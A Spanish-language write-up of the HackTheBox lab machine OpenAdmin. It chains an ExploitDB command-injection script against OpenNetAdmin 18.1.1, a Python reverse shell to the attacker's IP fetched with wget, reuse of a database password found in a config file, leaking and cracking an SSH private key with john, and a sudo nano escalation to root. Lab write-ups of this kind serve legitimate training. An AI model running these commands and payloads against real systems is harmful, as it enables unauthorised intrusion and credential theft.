HTB OpenAdmin writeup

HackTheBox OpenAdmin machine write up, easy Linux machine. El proceso como siempre será: Escanear –> Punto de entrada inicial –> Usuario –> Root

Análisis inicial


# añadido a /etc/hosts como   10.10.10.171    OpenAdmin
$ sudo nmap -sV -sC -sT -O -o nmapinitial OpenAdmin

Resultados de nmap


Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-07 02:44 CET
Nmap scan report for OpenAdmin (10.10.10.171)
Host is up (0.12s latency).
Not shown: 995 closed ports
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp    open     tcpwrapped
1063/tcp  filtered kyoceranetdev
10621/tcp filtered unknown
15003/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/7%OT=22%CT=1%CU=35292%PV=Y%DS=2%DC=I%G=Y%TM=5E13E2EC
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.42 seconds

Tenemos un servidor OpenSSH, un servidor web con Apache y varios puertos filtrados.

Web en el puerto 80

La web web en el puerto 80 parece el predeterminado, dejamos dirbusterejecutando en segundo plano por si acaso.

Resultados de Dirbuster

Hay dos rutas que parecen prometedoras, /music/ y /ona/. /music/ no parece contener nada más que el enlace a /ona/, analicemos /ona/.

OpenNetAdmin Web

Tenemos una instancia de OpenNetAdmin v18.1.1, parece algo anticuada. Si buscamos OpenNetAdmin 18.1.1 en Google obtenemos información sobre una vulnerabilidad de inyección de comandos y dos posibles formas de explotarla, a través del módulo Metasploit o un script bash.

OpenNetAdmin Vuln Captura de pantalla del módulo Metasploit en ExploitDB.

Resultados de searchsploit:


~$ searchsploit OpenNetAdmin
--------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                 |  Path
                                                               | (/usr/share/exploitdb/)
--------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                  | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)   | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                    | exploits/php/webapps/47691.sh
--------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Cuando hice la máquina por primera vez el módulo no estaba en Metasploit, podemos agregarlo usando las instrucciones proporcionadas en este [artículo] (https://medium.com/@pentest_it/how-to-add-a-module-to-metasploit-from-exploit- db-d389c2a33f6d) o podemos usar el script bash.

Punto de entrada inicial

Por conveniencia, probaré primero el módulo de Metasploit. Veamos si da resultados:


$ mkdir -p ~/.msf4/modules/exploits/php/webapps/
$ cp /usr/share/exploitdb/exploits/php/webapps/47772.rb ~/.msf4/modules/exploits/php/webapps/
$ sudo updatedb
$ msfconsole

       =[ metasploit v5.0.67-dev                          ]
+ -- --=[ 1958 exploits - 1093 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > search opennetadmin

Matching Modules
================

   #  Name                       Disclosure Date  Rank       Check  Description
   -  ----                       ---------------  ----       -----  -----------
   0  exploit/php/webapps/47772  2019-11-19       excellent  Yes    OpenNetAdmin Ping Command Injection


msf5 > use 0
msf5 exploit(php/webapps/47772) > show options

Module options (exploit/php/webapps/47772):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /ona/login.php   yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(php/webapps/47772) >

En algo he debido meter la pata, tras configurarlo parece no funcionar. Para no perder mucho tiempo probemos el script.


~$ /usr/share/exploitdb/exploits/php/webapps/47691.sh http://openadmin/ona/

$ who
joanna   pts/0        Jan  7 15:52 (10.10.14.143)
jimmy    pts/1        Jan  7 15:52 (10.10.14.42)
jimmy    pts/2        Jan  7 15:52 (10.10.14.244)
jimmy    pts/4        Jan  7 15:53 (10.10.15.102)

$ whoami
www-data

Hemos conseguido una shell con los privilegios de la página web, veamos que podemos hacer.

Usuario

Tenemos un shell de bajo nivel con privilegios de www-data, intentemos escalar al usuario.

Primero, vamos a mejorar la shell que tenemos:



## On our computer
# Create reverseshell
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.75",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); >shell.py'

# Webserver to send file to target machine, wait for connections with nc
sudo python3 -m http.server 80
nc -lvp 1337

## On the server, create a hidden dir so we do not interfere with other people
www-data@openadmin:...$ mkdir /tmp/.my
www-data@openadmin:...$ wget -O /tmp/.my/shell.py http://10.10.15.75:80/shell.py
www-data@openadmin:...$ python3 /tmp/.my/shell.py

Sabemos que el servidor es Apache, la primera idea que se me ocurre es ver los archivos de configuración del sitio web, en caso de que haya otros sitios web, y obtener la ruta desde donde se sirven los archivos. Listar el directorio sites-available nos da información interesante:


$ ls -lshA /etc/apache2/sites-available
total 16K
8.0K -rw-r--r-- 1 root root 6.2K Jul 16 18:14 default-ssl.conf
4.0K -rw-r--r-- 1 root root  303 Nov 23 17:13 internal.conf
4.0K -rw-r--r-- 1 root root 1.3K Nov 22 14:24 openadmin.conf


$ cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

El sitio internal parece interesante, usando curl en la máquina podemos ver un formulario de inicio de sesión. No veo nada nada fácilmente explotable a primera vista (dejemos SQLi u otros ataques web como último recurso), así que seguimos buscando.

En este punto, intenté ejecutar varias herramientas de enumeración, pero ninguna parecía dar información interesante, después de mucho ls y cat y algunos callejones sin salida encontré una posible contraseña en / opt / ona / www / local / config / database_settings.inc.php:


$ cat /opt/ona/www/local/config/database*
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

Probemos la contraseña con SSH con los tres usuarios que sabemos que están en la máquina, root, jimmy y joanna (como se puede ver en / home)


~/htb/OpenAdmin$ ssh jimmy@OpenAdmin
The authenticity of host 'openadmin (10.10.10.171)' can't be established.
ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'openadmin,10.10.10.171' (ECDSA) to the list of known hosts.
jimmy@openadmin's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jan  9 19:40:21 UTC 2020

  System load:  0.26              Processes:             435
  Usage of /:   49.2% of 7.81GB   Users logged in:       2
  Memory usage: 41%               IP address for ens160: 10.10.10.171
  Swap usage:   0%

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

El directorio home de Jimmy está vacío, pero ¿y el directorio internal dentro de / var / www? Veamos:



jimmy@openadmin:/var/www/internal$ ls -lshA
total 20K
4.0K -rwxrwxr-x 1 jimmy jimmy     918 Jan  9 19:33 a.php
4.0K -rwxrwxr-x 1 jimmy internal 3.2K Nov 22 23:24 index.php
4.0K -rwxrwxr-x 1 jimmy internal  185 Nov 23 16:37 logout.php
4.0K -rwxrwxr-x 1 jimmy internal  339 Nov 23 17:40 main.php
4.0K -rwxrwxr-x 1 jimmy jimmy     916 Jan  9 19:40 test.php
jimmy@openadmin:/var/www/internal$ cat index.php

<?php
[...]
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>
El index.php consiste en un formulario de inicio de sesión donde, si el usuario y la contraseña coinciden, se nos redirige a /main.php. Veamos el contenido de main.php:


jimmy@openadmin:/var/www/internal$ cat main.php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

Como se ve en el código, si hemos iniciado sesión, el servidor nos enviará la clave privada de joanna. Simplemente podemos comentar la comprobación ("//" antes del if (! Is …)) y acceder al archivo usando curl.

Recuerda que es una buena práctica deshacer los cambios o reiniciar la máquina una vez que hayas terminado para que otros usuarios no se vean afectados.


jimmy@openadmin:/var/www/internal$ cp main.php .main.php
jimmy@openadmin:/var/www/internal$ nano .main.php
jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/.main.php

<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
......
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

jimmy@openadmin:/var/www/internal$ rm .main.php

Guardaremos la clave como joanna.key, pero como está encriptada, necesitaremos descifrarla primero.


~/htb/OpenAdmin$ nano joanna.key
~/htb/OpenAdmin$ chmod 400 joanna.key
~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
# We do not know the password, ninja does not work
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':

~/htb/OpenAdmin$ python3 /usr/share/john/ssh2john.py joanna.key >pw
  /usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
    data = base64.decodestring(data)

~/htb/OpenAdmin$ john --wordlist=/usr/share/wordlists/rockyou.txt pw
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna.key)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:08 DONE (2020-01-10 01:16) 0.1219g/s 1748Kp/s 1748Kc/s 1748KC/sa6_123..*7¡Vamos!
Session completed

Tenemos una posible contraseña, vamos a probarla:


~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
Enter passphrase for key 'joanna.key':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
[...]
Last login: Thu Jan  2 21:12:40 2020 from 10.10.X.X
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
c9b2cf0**********************
Usuario conseguido!

Root

Usando la herramienta de enumeración Linux Smart Enumeration, encontramos que podemos ejecutar el comando sudo /bin/nano /opt/priv sin necesidad de contraseña. Utilizando el siguiente GTFBin, podemos conseguir una shell como root, y con ella la flag de root.